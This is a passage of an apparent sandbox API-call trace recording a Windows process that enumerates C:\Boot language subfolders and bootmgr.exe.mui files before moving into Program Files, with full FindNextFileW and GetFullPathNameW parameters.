hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4463cc0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4463cc0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0121.843] GetFullPathNameW (in: lpFileName="C:\\Boot\\ru-RU", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ru-RU", lpFilePart=0x0) returned 0xd [0121.843] GetFullPathNameW (in: lpFileName="C:\\Boot\\ru-RU\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ru-RU\\", lpFilePart=0x0) returned 0xe [0121.843] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4463cc0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4463cc0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4463cc0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.843] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4463cc0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4463cc0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.843] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.844] GetFullPathNameW (in: lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ru-RU\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.844] GetFullPathNameW (in: lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ru-RU\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.844] GetFullPathNameW (in: lpFileName="C:\\Boot\\ru-RU", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ru-RU", lpFilePart=0x0) returned 0xd [0121.844] GetFullPathNameW (in: lpFileName="C:\\Boot\\ru-RU\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ru-RU\\", lpFilePart=0x0) returned 0xe [0121.844] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4463cc0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4463cc0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4463cc0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.845] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4463cc0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4463cc0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.845] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4463cc0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4463cc0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0121.845] GetFullPathNameW (in: lpFileName="C:\\Boot\\sv-SE", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sv-SE", lpFilePart=0x0) returned 0xd [0121.845] GetFullPathNameW (in: lpFileName="C:\\Boot\\sv-SE\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sv-SE\\", lpFilePart=0x0) returned 0xe [0121.845] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4463cc0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4463cc0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4463cc0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.846] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4463cc0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4463cc0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.846] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.846] GetFullPathNameW (in: lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sv-SE\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.847] GetFullPathNameW (in: lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sv-SE\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.847] GetFullPathNameW (in: lpFileName="C:\\Boot\\sv-SE", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sv-SE", lpFilePart=0x0) returned 0xd [0121.847] GetFullPathNameW (in: lpFileName="C:\\Boot\\sv-SE\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sv-SE\\", lpFilePart=0x0) returned 0xe [0121.847] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4463cc0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4463cc0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4463cc0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.848] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4463cc0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4463cc0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.848] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4463cc0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4463cc0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0121.848] GetFullPathNameW (in: lpFileName="C:\\Boot\\tr-TR", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\tr-TR", lpFilePart=0x0) returned 0xd [0121.848] GetFullPathNameW (in: lpFileName="C:\\Boot\\tr-TR\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\tr-TR\\", lpFilePart=0x0) returned 0xe [0121.848] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4463cc0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4463cc0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4463cc0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.849] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4463cc0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4463cc0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.849] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.849] GetFullPathNameW (in: lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\tr-TR\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.849] GetFullPathNameW (in: lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\tr-TR\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.849] GetFullPathNameW (in: lpFileName="C:\\Boot\\tr-TR", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\tr-TR", lpFilePart=0x0) returned 0xd [0121.849] GetFullPathNameW (in: lpFileName="C:\\Boot\\tr-TR\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\tr-TR\\", lpFilePart=0x0) returned 0xe [0121.850] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4463cc0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4463cc0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4463cc0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.850] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4463cc0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4463cc0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.850] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4463cc0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4463cc0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0121.850] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-CN", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-CN", lpFilePart=0x0) returned 0xd [0121.850] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-CN\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-CN\\", lpFilePart=0x0) returned 0xe [0121.851] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4463cc0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4489e20, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4489e20, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.851] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4489e20, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4489e20, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.851] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.851] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-CN\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.852] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-CN\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.852] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-CN", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-CN", lpFilePart=0x0) returned 0xd [0121.852] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-CN\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-CN\\", lpFilePart=0x0) returned 0xe [0121.853] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4463cc0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4489e20, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4489e20, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.853] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4489e20, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4489e20, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.853] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4489e20, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4489e20, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0121.853] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-HK", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-HK", lpFilePart=0x0) returned 0xd [0121.853] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-HK\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-HK\\", lpFilePart=0x0) returned 0xe [0121.853] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4489e20, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4489e20, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4489e20, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.854] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-HK\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.854] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-HK\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.854] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-HK", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-HK", lpFilePart=0x0) returned 0xd [0121.854] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-HK\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-HK\\", lpFilePart=0x0) returned 0xe [0121.855] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW", lpFilePart=0x0) returned 0xd [0121.855] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW\\", lpFilePart=0x0) returned 0xe [0121.855] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.856] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.856] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW", lpFilePart=0x0) returned 0xd [0121.856] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW\\", lpFilePart=0x0) returned 0xe [0121.856] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings", lpFilePart=0x0) returned 0x19 [0121.856] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings\\", nBufferLength=0x105, lpBuffer=0x1ed890, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings\\", lpFilePart=0x0) returned 0x1a [0121.864] GetFullPathNameW (in: lpFileName="C:\\PerfLogs", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\PerfLogs", lpFilePart=0x0) returned 0xb [0121.865] GetFullPathNameW (in: lpFileName="C:\\PerfLogs\\", nBufferLength=0x105, lpBuffer=0x1ed890, lpFilePart=0x0 | out: lpBuffer="C:\\PerfLogs\\", lpFilePart=0x0) returned 0xc [0121.867] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10 [0121.867] GetFullPathNameW (in: lpFileName="C:\\Program Files\\", nBufferLength=0x105, lpBuffer=0x1ed890, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\", lpFilePart=0x0) returned 0x11 [0121.868] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10 [0121.868] GetFullPathNameW (in: lpFileName="C:\\Program Files\\", nBufferLength=0x105, lpBuffer=0x1ed890, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\", lpFilePart=0x0) returned 0x11 [0121.868] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files", lpFilePart=0x0) returned 0x1d [0121.869] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\", lpFilePart=0x0) returned 0x1e [0121.869] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files", lpFilePart=0x0) returned 0x1d [0121.869] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\", lpFilePart=0x0) returned 0x1e [0121.869] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER", nBufferLength=0x105, lpBuffer=0x1ed790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\DESIGNER", lpFilePart=0x0) returned 0x26 [0121.869] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\", nBufferLength=0x105, lpBuffer=0x1ed730, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\DESIGNER\\", lpFilePart=0x0) returned 0x27 [0121.871] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER", nBufferLength=0x105, lpBuffer=0x1ed790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\DESIGNER", lpFilePart=0x0) returned 0x26 [0121.871] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\", nBufferLength=0x105, lpBuffer=0x1ed730, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\DESIGNER\\", lpFilePart=0x0) returned 0x27 [0121.871] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared", 